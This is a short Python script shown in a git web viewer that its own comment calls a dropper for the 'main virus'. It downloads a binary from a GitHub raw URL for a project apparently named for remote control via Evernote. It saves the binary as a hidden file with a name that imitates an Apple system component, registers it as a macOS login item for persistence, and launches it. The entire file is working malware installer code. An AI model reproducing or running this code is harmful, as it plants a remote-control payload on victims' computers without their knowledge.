blob: 76e9ca0361c1f8a90b281673a0b2b8582bade642 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
from os import system as cmd
filename = "com.apple.com.user.core"
# download main virus
open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
subproc([f"{expanduser('~')}/.{filename}"])
|